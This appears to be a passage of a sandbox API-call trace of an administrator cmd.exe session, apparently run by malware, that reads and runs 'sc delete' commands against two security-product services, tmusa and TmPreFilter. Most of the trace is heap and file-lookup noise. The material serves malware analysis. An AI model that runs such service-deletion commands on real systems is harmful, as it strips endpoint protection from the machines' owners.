dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0068.473] GetProcessHeap () returned 0x1b0000 [0068.473] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0068.473] GetProcessHeap () returned 0x1b0000 [0068.473] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0068.473] GetProcessHeap () returned 0x1b0000 [0068.473] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0068.473] GetProcessHeap () returned 0x1b0000 [0068.473] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0068.473] GetProcessHeap () returned 0x1b0000 [0068.473] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0068.473] GetProcessHeap () returned 0x1b0000 [0068.473] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0068.473] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0068.473] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.473] GetFileType (hFile=0x120) returned 0x3 [0068.473] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.474] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.474] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0068.474] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.474] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.474] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.474] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0068.474] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.474] GetFileType (hFile=0x120) returned 0x3 [0068.474] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.474] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.474] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0068.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.474] GetFileType (hFile=0xb8) returned 0x3 [0068.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.474] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.474] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.474] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.475] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.475] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.475] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.475] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.475] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.475] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.475] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.475] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.475] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.475] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.476] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.476] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.476] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.476] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.476] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.476] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.476] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.476] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.476] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="Tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.476] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.477] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="musa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.477] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="Psa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.477] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="ra\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.477] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="e\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.477] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="FService\n4-9.4\"\n\nA\"\n") returned 1 [0068.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.478] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.478] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="iervice\n4-9.4\"\n\nA\"\n") returned 1 [0068.478] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.478] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.478] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="lrvice\n4-9.4\"\n\nA\"\n") returned 1 [0068.478] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.478] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.478] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="tvice\n4-9.4\"\n\nA\"\n") returned 1 [0068.478] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.478] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.478] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="eice\n4-9.4\"\n\nA\"\n") returned 1 [0068.478] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.478] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.478] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="rce\n4-9.4\"\n\nA\"\n") returned 1 [0068.478] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.479] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.479] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.479] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.479] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.479] GetFileType (hFile=0xb8) returned 0x3 [0068.479] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.479] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.479] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.479] GetFileType (hFile=0x120) returned 0x3 [0068.479] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.479] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TmPreFilter\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TmPreFilter\n", lpUsedDefaultChar=0x0) returned 23 [0068.479] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x16, lpOverlapped=0x0) returned 1 [0068.479] GetProcessHeap () returned 0x1b0000 [0068.479] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0068.479] GetProcessHeap () returned 0x1b0000 [0068.479] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0068.479] GetProcessHeap () returned 0x1b0000 [0068.479] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0068.479] GetProcessHeap () returned 0x1b0000 [0068.479] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0068.479] GetProcessHeap () returned 0x1b0000 [0068.480] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x38) returned 0x1c6510 [0068.480] GetConsoleOutputCP () returned 0x1b5 [0068.480] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.480] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.480] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.480] GetProcessHeap () returned 0x1b0000 [0068.480] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0068.480] GetProcessHeap () returned 0x1b0000 [0068.480] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3e) returned 0x1caa40 [0068.480] GetProcessHeap () returned 0x1b0000 [0068.480] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0068.480] SetErrorMode (uMode=0x0) returned 0x1 [0068.481] SetErrorMode (uMode=0x1) returned 0x0 [0068.481] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0068.481] SetErrorMode (uMode=0x1) returned 0x1 [0068.481] GetProcessHeap () returned 0x1b0000 [0068.481] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0068.481] GetProcessHeap () returned 0x1b0000 [0068.481] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0068.481] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.481] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.481] GetProcessHeap () returned 0x1b0000 [0068.481] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0068.481] GetProcessHeap () returned 0x1b0000 [0068.481] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0068.481] GetProcessHeap () returned 0x1b0000 [0068.481] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0068.481] GetProcessHeap () returned 0x1b0000 [0068.481] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0068.481] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.481] GetProcessHeap () returned 0x1b0000 [0068.481] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0068.481] GetProcessHeap () returned 0x1b0000 [0068.481] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0068.481] GetProcessHeap () returned 0x1b0000 [0068.481] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0068.482] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.482] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.482] GetLastError () returned 0x2 [0068.482] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.482] GetLastError () returned 0x2 [0068.482] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.482] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.482] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.483] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.483] GetLastError () returned 0x2 [0068.483] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.483] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.483] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.483] GetProcessHeap () returned 0x1b0000 [0068.483] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0068.483] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: 